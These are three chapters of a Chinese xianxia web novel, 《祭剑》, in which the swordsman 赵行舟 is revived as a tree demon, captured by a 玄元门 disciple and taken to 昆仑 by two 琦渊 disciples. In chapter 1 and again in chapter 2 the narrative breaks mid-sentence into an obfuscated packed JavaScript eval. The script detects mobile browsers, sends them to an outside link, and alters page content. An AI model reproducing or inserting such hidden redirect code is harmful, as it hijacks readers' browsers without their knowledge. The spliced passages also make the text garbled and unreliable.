《祭剑》 1. 第 1 章 自古神兵利器多得于奇遇。 有此大机遇者,或是于艰险万难中偶然创造,或是得千古大能之一身传承。兵器一经出世,无一不引发三界哄抢。 然近百年间,三界中最引人关注的,却又绝无人敢肖想的神兵,唯那一柄剑。 传闻其剑主名门出身,乃旷世奇才,修行不过三百年,便已越大乘至渡劫期,距飞升不过临门一脚,堪称天下数一数二之人。 能与之抗衡的,大约只有那几个常年避世不出的老古董。且究竟谁打得过谁,无人知晓。 如此级别的修真大能,一旦出招,势必搬山挪海、天翻地覆。若真要动手,通常也就是点到为止,起到威慑牵制的作用便罢了。 然而上述剑主是个例外。 自百年前那一战后,都说此人性情古怪,睚眦必报,极难相处。 旁人对他能避则避,没人愿意招惹他,试探也不行。 百年前,这人为报一己私仇,不过化神期便敢只身杀上玄元门。那日奉盈山煞气大得冲天,陈时易剑意蛮横凶险,大有要灭了对方满门的意思,哪里有平日传闻中冷静自持的模样? 万幸最后一刻雷劫降至,拦下这场荒诞不经的寻仇。 皓月当空,七七四十九道惊雷如瀑,灌注其身,将四周劈得寸草不生,雷势如潮,千年难遇,甚至轰碎了半个山头。 明明不是飞升渡劫,却能无端引来雷劫,阵仗之大令人咋舌,真不知这人的气运好是不好。 想必老天也看不惯这种伤天害理之事,才会现世这等奇观吧! 若就此消失……许多人侥幸地想。 在场所有人都以为他会在这一劫中陨落,也都盼着他赶紧灰飞烟灭。 不成想陈时易竟然顶住了。 而后重伤离去,竟无人敢拦。 如此成就了天下第一剑。 “陈时易此人行事偏激,亦正亦邪,虽修为可圈可点,人品实在难以评判。” 听书茶铺搭于街角,人烟往来熙熙攘攘,好不热闹。 说书人讲到此处,呷了一口茶润嗓,接道,“此战中,玄元门掌门叫人一剑抹了脖子,五位长老捅死四个,损失简直不能用惨重形容。正道各路却对此事件讳莫如深,避而不谈。如此搁置了一百多年,再也没人为玄元门讨要公道,实在是世道不公啊。” 说罢,说书人狠狠叹了口气。 “从前是没人去,现而今是没人敢去了吧!” “这帮修仙的整日正人君子做派,说到底不过一群贪生怕死之辈。” “最倒霉的还是玄元门,百年前一方名门,硬是没落成三流门派。若没现任掌门李培生撑着,只怕人早就散尽了。” 茶客们你一言我一语展开讨论,一时间瓜果皮屑乱飞,聊得不亦乐乎。 修真界和凡人间的距离,好比天上繁星与地面沙尘那样遥不可及,然而越脱离日常生活的事情,越又为人所津津乐道。 现实是,对于寻常百姓人家,莫说是三流门派,便是谁家中有人被十八流门派的“仙人”看中,记做外门弟子,学上个一招半式的“仙家把式”,那都是祖上冒青烟的大喜事了。 激昂谈论间,角落骤然射入一根木筷,打破滚水一样的气氛。 只见细细一根木条势如破竹,破风力道之强,直接将说书人手下的杉木桌打碎。 事发突然,以说书人为中心的听客被吓得摔倒一片,木屑飞溅,刮伤许多人的脸。其中以说书人最狼狈,满脸是血痕不说,长袍愣是被豁开一个大口子。 众目睽睽之下,大家皆一脸茫然,随后互相看望,无人知道发生了什么。 客座偏僻角落中坐着两名男子。一人年纪二十岁左右,长脸窄耳,正阴沉着一张脸打量周遭人,颇为愠怒。扔筷子的便是此人。 另一名少年大约十六七岁,衣着单薄,身材高而瘦立,但精神看着不景气,像刚抽条就要枯败的榉柳。 少年双手在前被一个通体银色的绳索捆着,绳子的另一端则在那名长脸男子手中。 二人一副押解犯人的做派。 木桌炸裂,将原本喧闹的茶馆吓得寂静无声。 长脸男人目光轻蔑,像扫视蝼蚁般看了一圈在座的人,冷冷道,“劝你们慎言,免得有一天为逞口舌之快,白白送了性命。 说罢,长脸男拂袖而去。少年被手中的绳索扯了一个牵绊,跟着站起身。 说书人狼狈地擦着脸上的血,不敢出声阻拦。直到二人走远,茶铺才又响起窃窃私语。 “吓老子一跳…什么人啊,这么大脾气。” “好厉害的功夫…难道是修仙者?” “江湖莽夫罢了!后面那少年也不知怎么得罪他了,竟被这样对待。” “小声点!这帮修仙的压根不把人命当命,你活腻歪了?” …… 街上人流兴旺,路过人好奇打量着二人,因长脸男人看上去不好惹,也没人出来管闲事。 双手被缚,少年瘦得好像个闹饥荒灾民,又对沿路食物没什么渴求。他半睁着眼皮,身为阶下囚,该有的焦虑恐慌不见有,反而懈怠多一些,对什么都提不起兴致。 与其说是受制于人,倒不如说是被人打扰清静,无奈中,多少有那么点生无可恋的意思在了。 长脸男越走越快,少年被扯得踉跄几步。 察觉背后人步伐散漫,竟有心思插空打呵欠,长脸男心里生出一丝被人小瞧了似的不快感,“你好像很轻松?想必你还不知道我师从何处吧。不报我宗门,是怕说出来让你太绝望,很没意思。” 看了看少年手腕,又道,“我劝你不要打那些愚蠢的算盘,被这根绳子抓住,绝无逃脱的可能。要怪只能怪自己时运不济,栽倒我手上。” …… 时运不济么?少年心想,还真算不上。 百年前身死道消之际,他是有颇多憾意,但也有交代过后事。倒不想百年后会阴差阳错复活在一个树上。 旁人若从人沦落成妖,少不了怨天尤人。 他接受良好。 在他看来,无论是变成一棵树、变成一匹马,哪怕变成一粒石子,只要他记忆中的人和事还在,复活便是复活。 活着就有机会,总比死了强。 只是,不知是不是魂魄与这副躯干不能完全适应,他现在只觉得困,魂在天上飘,脚有千斤重。 加之捆他这小子大约没什么捉妖经验,不让吃饭睡觉便罢了,还要整日对他叨叨个没完,无非就是吹嘘自己的厉害和残忍。实在是…让他提不起兴致与之讲话。 想当年他被困于大悲寺,三个秃瓢围着他念经盘道叨叨了五天五夜,大约也是这种心情。 若不是长脸男非要用绳捆着他走,他只怕当下早已避开人群,生根补觉去了。 长脸男见对方始终一副无所谓的态度,逐渐恼怒,狠狠一扯绳索,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437491|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像你这种修行不过百年的小妖,死在我剑下的不知道有多少。眼下你若是求我,我回师门后或可帮你与师傅美言几句,立下生死契,留你一条贱命在山上打杂。你若敢逃跑,我便就地诛了你,再回师门复命!” 闻此言,少年终于有所反应,眼神微微诧异,落于前方。 长脸男以为是自己的威胁终于起了作用,正要得意,却听对方有些不可置信道,“生死契?” 少年嗓音介于青年和少年之间,清润微哑,亦如破旧下沉的春风。长脸男自抓到这妖怪后,还是第一次听他开口讲话,于是更加确信对方因恐惧而动摇心性,“不错,便是那大名鼎鼎的驭妖之契。一经签订,毕生效忠,那些想要反抗的妖怪,无一不受灵魂穿刺一样的痛苦!” 少年皱着眉,“生死契,离合辟……一经立契,生死相随,终不相负。这?……” “你这小妖倒有点见识,竟会背这契中词。”长脸男冷笑不止,“你最好现在想清楚,待会与我回了师门,要怎么表现,才能讨得我师傅青睐。看你化形稳定,招你入门做下侍也不是没有可能。到时勤快着点,端茶倒水,更衣洗脚,少不得给你几颗灵石尝尝。你可知,山上灵气之足,是多少妖物梦寐以求的地方,绝非你那荒郊野外的故乡能比。” 如此一番利诱,少年仍好似未听,诧异之余,像是回忆起从前。他脸上突然有了违背这个年龄的世故之感,叹息过后,有些头疼,自顾自道,“没想到‘生死契’这种一等一风月之约,现今竟沦为修真者驱使妖怪的手段。若被藏明月知道了,大约会气得棺材板子都掀了吧。好在他死得早。世风日下,唉,实在世风日下……” 也不知“死得早”到了少年口中怎么反倒成了一种侥幸似的。长脸男虽不屑听妖怪讲话,但还是不经意间被少年口中的话带走了注意力,忍不住质疑道,“风月之约?生死契何时成了风月之约?藏明月又是谁,如此籍籍无名,我听都没听过,莫不是你们妖界哪位不入流的妖精吧。” 此话一处,正道之光藏明月的棺材板子才是真的压不住了。 少年一言不发地看着长脸男。 连问两句不得答复,长脸男终于被这小妖目中无人的态度彻底激怒,“你是什么身份,竟敢用这种眼神看我?!” 随即抬手一阵风势,如重拳出击,一招打在少年胸口处,令他猛退两步。 “不过刚刚化形的百年树妖,我看你灵识稳定才留你一条贱命,你还蹬鼻子上脸了!” “待到了玄元门,你若还是这样不识好歹,我便与师傅说,让他挖了你的妖丹下药,削了你的本体坐板凳,看你还敢不敢无视我说的话!” 缚妖索捆在手上,哪怕是最低品级的法物,足以封住少年目前的全身修为。他踉跄着稳住身体,没让自己摔倒。 被风打了一拳,胸口疼痛不止,但好在是妖,比身为凡人时的躯体要坚实很多。否则寻常人挨这样一下,多半要呕血了。 妖很难呕血。 “玄元门。”少年口中念了遍这三个字,被打的后退连连,不见丧气之意。反而微微一笑,抬眼时挑起一丝不羁。 语调无甚起伏,却不知气势从何处涌起,几乎是锋芒毕露。少年平和道,“莫说你那什么便宜师傅,便是玄元门死的活的掀棺材板的诈尸的祖宗绑一块来寻我,我也还是那句话。” “尽管来。” 长脸男勃然大怒,一把抽出了刀,“你找死!!” 2. 第 2 章 长脸男抽刀的瞬间,银色绳索从他手中滑落。 该缚妖索品级太低,所以有个特点:只有修士握在手中,不停为它灌注灵力,方能生效。 没想到对方竟会把绳子扔了。 有股力量从丹田处缓缓充盈全身,少年冷静地判断着,虽然微薄,聊胜于无。 当长刀劈至眼前时,少年堪堪避过,不巧与路中一个推车的小贩撞上。 双手虽然受缚,但少年反应极快,拧腰一个翻身从推车上翻过去,抬腿一脚便将推车调转了个方向,没令小商贩和推车货物歪倒摔作一团。 绳索则顺势甩到身后去,不让对方再有机会得手。 市井中多得是爱看热闹的人,看着有人打起来了,一窝蜂往后退,但又不愿离得太远。于是身体做好逃跑的准备,一个个抻着头往里看。 见少年功夫干脆利落,还有人拍手叫好。 “原来是练家子,好俊的功夫!” “绑着人算什么英雄好汉,要打就撒开好好打!” 路人的叫好声无异于火上浇油。长脸男被愤怒冲昏了头,以为少年是要拿这凡人当挡箭牌,嘴里怒喝,“无耻妖孽,勿要耍花招,速速受死!”一刀上前将推车劈得四分五裂。 小商贩何曾料到有这种变故,大惊失色。他本想趁着好天气出来卖货,不想光天化日遇上恶人行凶,一刀就将他家当全毁了。而这进货钱还是找人赊的帐。 想到此处,小商贩一下子跪在货物残骸上,哭嚎不止,“各位官老爷评评理啊,我平白被这歹人毁了吃饭的营生,欠了一屁股债没处补贴,这可让我怎么活呀!” 而路人一听有妖怪现世,哪敢再出头。最前方的人群一退再退,将人群中两个站着没动的人衬了出来。 那是一对年轻男女,虽立于市井,但气质脱俗,与周遭环境显得格格不入。 少女若有所思道,“我看这小妖的身手有些奇怪。” “是不对劲。”男人观察着道,“这小妖既然能被缚妖锁所束,说明是无主的,不曾与人立契约。这类妖物未经训练,通常只会如野兽般乱打一气。可此妖却仅凭腿脚功夫就能与筑基弟子对抗,不落下风。” 男子伸手向少女示意,“师妹你仔细看他的步法,身捷步迅,劲力收缩有度;攻势随走随变,快打快收。基本功不知比对面人扎实多少倍。” 说到此处,男人皱起眉头,“简直像……有宗门传承。” 二人对视一眼,有意外,更多的是凝重。 仙家宗门,尤其是正道名门,向来最看重传承和出身。 宗门心法若私自相授与外人是重罪,一经发现,多是要被废了修为逐出师门。更别提将心诀私授与妖怪却不立契,这种行为同等于叛出人族! 少女摩拳擦掌,“我看这事有蹊跷,不如将他抓回崎渊,交由爹爹审讯!” “回崎渊怕是不妥。”男人提醒,“师妹,你莫忘了我们此行的任务。” 少女一下子醒悟,方才想起些什么,小声嗫嚅道,“那也无妨,我们带这小妖一起去便是了,去的又不是什么禁地。” 男人不赞同地皱起眉头,正欲再说些什么,数尺之外哀嚎不止的小商贩突然被人从身后踹了一脚,打断二人谈论。 就见小贩往前一扑几乎飞了出去,正要开骂,一道刀气擦着他的头顶掠过。 头发被削掉一层,帽子皮轻飘飘落地,可见刀气锋利。 若是刚刚没挨着一脚……小商贩顿时不哭了,他吓出了一身冷汗。 钱再金贵哪有命重要! 当下顾不得抱怨,小商贩连滚带爬往外跑,与他擦肩而过的是一道鹅黄色的倩影。 小贩惶恐回望,见一名少女满脸怒气,迎刀而上,再往后看,是刚刚踹了他一脚疑似妖物的少年。 脚下推车板早已碎裂,百货布料让刀绞碎了,翠花首饰被砸得稀烂。妖物少年立于一堆残骸中,纵使生死间走了几个回合,不曾见慌乱。 下一秒,流光溢彩的绸缎随少女动作飞出,扫在长脸男的刀上,看似柔软的缎面竟将刀子弹飞出去。 身穿鹅黄色袄裙的少女样貌稚嫩,不过刚及笄的年纪,已初显明艳之姿。她娇声斥道,“你这人打架怎么如此没有分寸,误伤到他人怎么办?还不住手!“ 长脸男被缎子拂得跌坐在地,气急怒骂,“你是什么人?他是妖,你竟然偏袒妖,你是哪里的邪修?” 平白被泼了脏水,少女圆眼一瞪,“你!你才是邪修!” 这时又一男子从人群走出来,冷声道,“修道之人向来有个不成文的规矩。“ “无论何种恩怨纠纷,不可殃及凡人。你这样不管不顾的在街上打杀,也不怕堕了自己师门的门面。” 长脸男一愣,仔细辨别了一下对面男人的仪态,随即咬牙道,“张沛岑?你怎么会在这里!” 逆行男子一身如玉绣金长袍,面容普通,五官不太立体,眉毛极浅。听对方一下子叫出自己名字,男子反而一愣,“你认得我?” 长脸男扭过脸去不答话,倒是旁边那少女眼神在二人身上一转,哈哈笑起来,会意道,“崎渊五子名动四方,修道小辈们有谁不知?便是其他人不知道,玄元门与咱们宗门如此有渊源,又怎会不知?怕是恨不得将五子的画像挂在练功房里每日念叨,希望尽早超越你们呢。” 大约是被戳中心事,长脸男一脸屈辱,嘴里发狠,“琦渊有什么了不起的。我乃玄元门张原生的弟子刘叶云,今日之事,断不会如此作罢!你们且等着!” “好哦。”少女笑眯眯道,“再有一月便是三年一度的试武大会,到时天下各门各派齐聚一堂,正是一雪前耻的好时候。我便在那等着你,说好了,不来的是小狗。” 刘叶云自知不敌,再逞强也没用,今日之事只能屈辱下咽。眼下他不过筑基初期,少女不知是什么身份,年纪轻轻竟已是筑基后期的修为。而张沛岑更不必说,琦渊五子皆为金丹期修为,无一不是名动天下的天之骄子。 刘叶云此次下山历练一无所获,好容易抓到一只颇有灵智的野生树妖,本想供给师傅炼药,不曾想会在这个地方遇见琦渊的人! 如今玄元门积蓄大不如前,否则,他怎么会不敌眼前人。 想到此处,刘叶云阴毒地看了二人一眼,从地上爬起来走了。 看热闹的人群随着刘叶云的离开渐渐散去,少女一回头,发现身后那少年也走远了,连忙“喂”上一声,“小妖怪,你要去哪?” 手上绳索不知何时已解开,妖物少年卸去力气,一双眼睛疲惫不堪,静坐在石凳上,“怎么,我不能走吗?” “你自然不能走,我和师兄还有事要问你。” 见少年不起身,少女补充道,“你放心,你方才的助人行径我们都看在眼里,我们可不是某些死心眼的门派,不会为难你。” “但你也不要跑哦。”少女丢了一个光圈过来,伸缩随意,正好扣住少年的右手腕。 少年没躲,只是看着。 又是缚妖索,比原先那根品级高一点,不用施法者时时攥在手里。 被称为张沛岑的金丹修士不赞同地看了一眼少女,低声询问,“你真要带他一起走?传个口信让人来接回琦渊就是了。你可知我们此次去的地方……” 少女双手合十讨好道,“好师兄,就带着他一起吧,薛长老也在那边等着我们呢,出不了事的!” 张沛岑深知师妹的脾气,叹了口气。不巧听见旁边有人开口道,“能否换一只手?” 少年将右肘搭于膝上,示意对方。 少女看着他,来了兴趣,“为何?” 少年视线停滞片刻,道,“不方便。” 他重复,“右手不方便。” 少女凑到他眼前等了半天,没等到更多的解释,“然后呢?” 少年不置可否,微笑着耸了耸肩。 见对方一副不换手就不起身的姿态,少女佯装生气与他瞪了一会,挥手将光圈换了位置,怪道,“我不知道妖还会注重自己化形后的左右手,我以为你们都是以本体来论……对了,我叫钱巧巧,你叫什么名字?” 少年思索片刻,略一皱眉,“荀常。” 后面那个玉袍男子若有所思道,“寻常?” 钱巧巧笑道,“怎么,报自己的名字还要想这么久,莫不是现起的假名?” 少年微哂,猜得还真准。 半年前,他从这棵松树上刚复苏时,尚不能动。树干上不知被哪个缺德的人刻了字,刻痕潦草,纵任奔逸,仔细辨别就是“寻常”二字。 也不知是否是机缘巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437492|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合,时间退至一百五十年前,也曾有人在昆仑的逐月台把酒试剑。醉意盎然之际,对身边人放下豪言,“若日后我修得本命心剑,便叫它‘寻常’剑。” “我赵行舟在此立誓,定让这把剑,做世间最不寻常的一把剑!” 那时身边人怎么说的? 大约是冷哼一声,不太服气,就没做理睬吧。 少年转动了一下右手腕,站起身,钱巧巧并排走到少年身侧。 “你这小妖,不仅说话人里人气的,连起的名字都人气人气。”少女调侃他,“你怎么不问我们接下来要带你去哪?” “去哪里?”这话问得不走心。其实去哪里都没区别。此刻他神魂不稳,只想睡觉。 钱巧巧不太满意对方的态度,“我们这趟的目的地是昆仑,那可是世间斩妖除魔的第一名门!怎么样,你不怕吗?” 就见少年闻言,果然将视线定在她脸上,“你们要去昆仑?” “嘿嘿,怕了吧。”少女得逞一笑,想拍拍少年的头以作宽慰,却因对方个子颇高,只能退而求次去拍肩膀,“放心,我们这次去是为公事,带你只是顺路为之。只要你表现得好,把该说的都交代了,我就收你作琦渊的门下侍也未尝不可。不会真让昆仑真的难为了你去。” …… 在昆仑生活过两百多年的人一时陷入沉默。 “你们琦渊和玄元门有什么过节?” 妖物少年突然打起精神,问了一个前后不着调的问题。 眼下他很欠缺对世道的了解。在他印象中,琦渊和玄元门并无纠纷,想必是这百年间又发生了什么他不知道的事情。 “你竟不知道吗?也难怪,毕竟你是个刚化形的小妖,人间事不知道也正常。” 钱巧巧一边走一边道,“那个时候我还没出生,其实也是听爹爹说的。归根究底还是因为昆仑的那位南仲君。当初他凭一己之力搅得天下正道不得安宁,后来消停了,各门各派的势力归属也都和原先有所不同。由于崎渊和昆仑早些年立了同盟,便与玄元门那一流……算得上竞争关系吧。” “昆仑南仲君?”少年脑海中过了一遍百年前数得上名字的同门,没对上号,遂问,“是谁?” “你不认识他?”知道这人没见过世面,但没料到他会孤陋寡闻到这种程度,钱巧巧夸张地伸展双手,“陈时易的名气这样响,一个人就能占过半个昆仑,你竟然没听说过他?” 陈时易……倒是听说过。 少年皱眉深思。 但也仅限于从说书先生那里听说过。 重点是,他怎么不记得,原来昆仑有过这么一号人物? -- 说来赵行舟此次复生,有几处硬伤。 转生为妖是其一。 在人间行走不便还无妨,修行练道比前世难上百倍,这是主要的。 精力昏沉是其二。 不知是否是神魂与妖体不全吻合,他每日硬撑,仍然嗜睡不止。 记忆不全是其三。 过往二百多年,往事历历在目:他生于乱世,十五岁被谢海生带回昆仑,自此练剑,勤修不辍。一生挚友寥寥,倒也活得潇洒。 入门时练剑练到满手是血他记得,化神时洞天秘境窥得天道轻狂不服他记得,百年前晋升失败,以身祭了别人的剑,他也记得。 那日师父浑身浴血,明明自己也站不直了,却还要对他苦笑,“徒儿……不可啊!” 生前最后,内心如何作想,他全记得清楚。 一路向西随琦渊两名弟子走入昆仑界,遥望数座危峰耸立如云,皑皑白雪万古不化。 岁月从眼前翻飞如纸,令人感到如此的熟悉,风雪又如一只迷惘的手,捏碎过去。 百年后,一切如影随形,连右手的习惯都未曾变过。 却惟独不记得,他是给谁祭了剑。 好似有关这个人被人从魂魄中生剜去了。 赵行舟只记得有这样一个身份,却不知道此人姓何名何,何种样貌,与他发生过什么事,是什么样的一种人。 甚至连对方是男是女都无从知晓。 实在是…… 迈入昆仑雪山的第一步,封山结界阻隔风雪,一如往昔。赵行舟不太平静地想。 实在是邪了门了。 3. 第 3 章 昆仑山势峻拔,五座山峰突出耸立,各司其职。其中以观云峰海拔最高,拥为主峰。 观云峰峰顶被外界称为昆仑之巅,积雪终年不化,暴风凛冽,是天下数一数二的极寒之地。 世间登顶过昆仑峰尖之人寥寥。不单是因为此地险峻,还因为那是昆仑的禁地之一。 禁地往下便是昆仑门的主殿,太衍宫。宫殿造势恢弘,又有修真门派特有的仙气萦绕其中。 往日昆仑若有大事相谈,掌门与各峰峰主便会汇聚于此。 昆仑第二十三代掌门虚微子,乃当世屈指可数的渡劫期修者。他看上去足有耄耋之年,白须白发,腰背佝偻,道袍洗得发白,好似与坊间一般游离江湖的老道士无异。此刻正位于殿堂主座。 左手贵客席坐了一名中年人。右手位置空着,再往下依次是昆仑龙砚峰峰主、花绛峰峰主、紫霄峰峰主。 其中又以龙砚峰峰主李龙发看上去最为年长。他发丝灰白交杂,目测有花甲的岁数,但身材壮硕,声如洪钟。此刻正面色不善地看着掌门右手旁那位空席,闷声闷气道,“怎得掌门聚仙令都出了,这小子还缺席?” 花绛峰峰主闻言,抬手检查起自己新染了色的指甲,而紫霄峰峰主则钻研起横阁上的壁画,二百年来突然对这些繁复的线条产生兴趣。 李龙发又道,“往日不在便罢了。眼下中元将至,他分明已归山,却还是对聚仙令充耳不闻。这成何体统?” 一番话落地,仍无人回应,李龙发一腔忿忿如鲠在喉,不知向谁发泄,于是拍桌指向三峰峰主中最年轻的那一位,“张天茂,论起来他与你同届,你还算他的师兄。你就不能管束他两句吗?” 紫霄峰峰主张天茂外貌不及而立,衣冠楚楚,风流倜傥,正是英姿绰约的年纪。闻言他手中扇子一拢,表情匪夷所思,“李峰主,李师叔!你饭可以乱吃,话不要乱讲!谁是谁师兄!” 张天茂自打五十年前承袭他爹衣钵,坐上紫霄峰主之位,日日克己复礼,唯恐自己做出不合乎身份的冒失举动。但李龙发刚刚那番话实在令他坐不住,这不是站着说话不腰疼吗? 让他赶上门去给人当师兄?滑天下之大稽,怕不是嫌他活得太好了。 见张天茂急着撇清关系,李龙发面露不屑,道,“当年凌绝峰一度叛出昆仑,宗门上下属你喊得最响。什么‘愿以命担保,绝无与妖魔同流合污的可能’,什么‘紫霄凌绝一荣俱荣,一损俱损’,被你爹打得半年下不来床。怎么,现今人家不承你的情了?” 听及当年秘辛,张天茂脸色一变,当下也顾不得长幼风度,气得牙根痒痒,“我又不是为了他,自不必他承我的情。若论辈分,您算他师叔,掌门还算他师尊呢!又不是不知道他什么狗脾气,要管得了,你们去管。” “你……”李龙发正欲发怒,花绛峰峰主云裳仙子忙收起指甲,来打圆场,“天茂师侄,你李师叔没有旁的意思,只是早就听闻你从前和凌绝峰关系不错,想来你应该说得上话。眼下事情棘手,掌门不便出山。唯有那个人相助……十拿九稳。” “说得轻巧。” 回到椅子上,张天茂抖开玉骨折扇,烦躁地扇了两下,“我与凌绝峰交好早已是百年以前的事了。当年故人还在时,我就与陈时易尿不到一个壶里去。可谓两看相厌,私交甚差!比你们的关系也好不到哪去,我说话他怎么会听?” 李龙发一听又拧起眉毛,“客人在此,你身为一峰之主,怎么言行如此粗鄙!左右不过让你去找他帮点忙罢了,惹来你这么多闲言碎语,让人听了笑话!” “笑话?家丑尚且不可外扬,也不知是谁先提起来的。”张天茂冷笑一声,“想找他帮忙?简单。总归轮回簿都快被那家伙翻烂了,三界中还是一个鬼影都摸不到。不如作为交换,去帮把他人找回来,让他也承你一个人情,不就万事都解决了。” 李龙发眉毛一抽,“他把鬼域翻了个底朝天,不惜和鬼王结下死仇都找不到的人,我们去哪找?” 张天茂手中扇子不停,“哦,原来您也不知道。我听您把指使他说得这么简单,还以为您手上握着王牌呢。” 昆仑龙砚峰和紫霄峰的关系千百年来就不对付,加之李龙发本就不是会逞口舌之快的人,一时间被怼得脸色铁青,哑口无言。 这时掌门虚微子抬起枯槁的一只手,“罢了。” 众人皆静。 在座几位都是从小看着张天茂的长辈。他少年时仗着自己天赋好出身好,跋扈惯了,嘴上没个把门的。但如今和叔叔婶婶辈平级,心里更不该忘了尊卑。张天茂记起自己死去老爹的嘱托,自知失言,悻悻收了扇子。 台下坐着的无一不是修真界赫赫有名的人物,虚微子却对这种家常拌嘴见怪不怪。见消停了,拂须沉吟,转头去看贵客席。 音色苍老,落字清晰,含着笑意,“薛道友,实不相瞒。昆仑南仲君情况特殊,每逢上元、中元、下元三节必要回山闭关半月。他性情孤傲,一心修行,不太理会俗世。此事哪怕是我委托,他也未必愿意前往。” “然贫道也知,洞天秘境事关天道,天道有损,则三界失衡。届时神器流离,瘟疫横行,妖魔当道,必定生灵涂炭。不能放任不管。” 说是宗门秘辛,但琦渊与昆仑关系密切,又同为当年事故的见证人,薛从任听在心里与明镜无异。 闻言只是叹息,“洞天秘境天道所化,十年一轮,乃机缘福祸的集合体。每轮秘境洞开,皆是人、妖、魔三界无差别选材送入。天道不会额外偏心人,自然也不会额外苛待妖、魔。” “得天道石认可之人,万年来不过三位,其中一人早已飞升,一人陨落,还余一人,便是当今昆仑的南仲君。得天道石者可随意进出洞天秘境,不受名额限制。如今三界中,只有他是最稳妥的人选。” “最稳妥,未必最合适。”虚微子不知想到什么,叹息着摆手,“洞天秘境一个月后便会开启,本轮秘境的入选名额,大概会在半月后就陆续出现征兆。这秘境看似无差别选材,实则还是会着重挑选三界资质超绝、心性坚定之辈。此次试武大会,天下英才云集,届时再挑选合适人选也未尝不可。” 薛长老一听,颔首道,“只能如此了。” 殿内人人陷入沉思,一时无言。突然花绛峰峰主云裳仙子食指一动,像是感知到什么,对琦渊薛长老笑道,“早些时候便听薛长老说过,会有琦渊小友拜访昆仑,顺便带来贵宗钱掌门的口信?” 事实是琦渊仙鹤传书一日千里,哪里用得到人来送。无非是掌门又被那小丫头片子缠住,非要到昆仑来见见世面罢了。 薛长老心里对自家掌门宠爱女儿的行径直摇头,但面上不显,“不错。算算日子,该来了。” 云裳仙子含笑点头,“正巧到了。” -- 负责接引的是一名矮壮青年。宽脸庞,霜色道袍配雪青色绣纹内衬,为昆仑花绛峰内门弟子统一服饰。他单手负后等在登山门那里,仪态脱俗,但由于身材敦实,衣着配色又俏丽,故显得有几分滑稽。 张沛岑走近,欠身作揖,对方还礼,二人名门礼道十分周全。钱巧巧却从张沛岑身后探出一个脑袋,左右打量,“久闻昆仑花绛峰盛产美女,我还以为今天会是个美若天仙的姐姐带我们上山呢。” 张沛岑立刻出声制止,“巧巧,不得无礼。” 钱巧巧不以为意,吐了吐舌头。 对面那名男子摆手笑道,“无妨,想必这位就是钱掌门的千金吧。在下贺山绿,幸会。”说罢,又向钱巧巧身后看去,只看到一位衣着落魄的少年。 “这位……若在下没看错,似乎是妖。昆仑若无通报,不可携带不明身份的妖物入境,还请二位体谅。” 钱巧巧不满,“他迟早要做我的门下侍,算不得身份不明的妖物。” 张沛岑语气严厉起来,“师妹,勿要胡闹!” 见钱巧巧气闷扭头过去,遂转身对贺山绿低声解释道,“贺兄有所不知,这小妖身手不对劲,我看他好似有师承一般。妖物不似我们这般传承严谨,若真有修仙者犯了忌讳,未经允许就把自家宗门的东西传给妖物,那就非同小可了……必得追查到底。” 没有修为护体,赵行舟手把手抖落身上的霜重,端的一副所说之事与他无关的姿态。 一路下来,他做过打算。眼下身份尴尬,若是落到其他地方,少不得他要想脱身之法。昆仑么,他熟悉,熟人也多,作为过渡地很合适,先待着也未尝不可。 至于他们口中的传承,落在昆仑手中,反而好解决些。 他人不知赵行舟心里所想。贺山绿皱眉,看张沛岑神色认真,意识到此事严重性。于是用内门传音向上通报了一声,片刻后得到回复,贺山绿肃然点头,“如此,便随我来吧。” 一行人随贺山绿入山。登山路上,所见之人皆抬头不语,埋头行走,神色匆匆。钱巧巧纳闷,“久闻昆仑弟子高高在上,没想到自家人见面也都不说话的。莫非修的是哑巴道?” 自家师妹在琦渊惹事惯了,出来依旧无法无天,张沛岑想捂嘴时已晚。好在这位贺山绿道友脾气甚好,耐心为她解释,“钱姑娘第一次来昆仑,大概有所不知。再过一日便是七月十五,眼下鬼门当道,是昆仑的特殊日子。” “哦?莫非和斩妖除魔有关?”钱巧巧兴奋得眼睛一亮。 “这倒不是。”贺山绿摇摇头,“是有位前辈会回来。他喜静,脾气不太好,所以大家上下山路上不敢妄言。” 钱巧巧撇嘴。赵行舟强行睁着眼爬山,心里腹诽:嚯,这么大排面,也不知是不是他熟悉之人? “说来昆仑有几个禁忌,姑娘可曾听说过?” 钱巧巧摇头,跟在她身后,始终一言不发的少年同时看过来。 贺山绿指了指头顶,那片被云海遮拢的雪山之巅。 “首先,是昆仑的三处禁地。一处是紫霄峰的万经谷。那里自建门以来便是昆仑禁地,非峰主和掌门不能入内。” “第二处是我们头顶的昆仑之巅。那本不是禁地,只是寸草不生的极寒之地。百年前,有前辈在逐月台埋下一把剑,于是那就成了禁地。” “逐月台我在《大千风水录》读过,听说是昆仑七景之一,观月景奇好,怎的成了禁地?”钱巧巧感到奇怪,“再说,一把剑而已,有什么可禁忌的。” 贺山绿却对此显出敬意,解释道,“姑娘有所不知,那剑本是昆仑派某位前辈的遗物。埋剑之地被人下设了禁咒,其禁咒非设咒本人不能靠近。化神期修者若误闯都会被炼化,极其凶险,更别提拔除。所以才被圈为禁地。” 钱巧巧目瞪口呆,身后少年也听得皱起眉头。钱巧巧道,“这……你们昆仑怎会允许如此凶恶的咒术存在?” 误闯直接炼化,这下咒之人未免太蛮横了吧,简直不讲理! 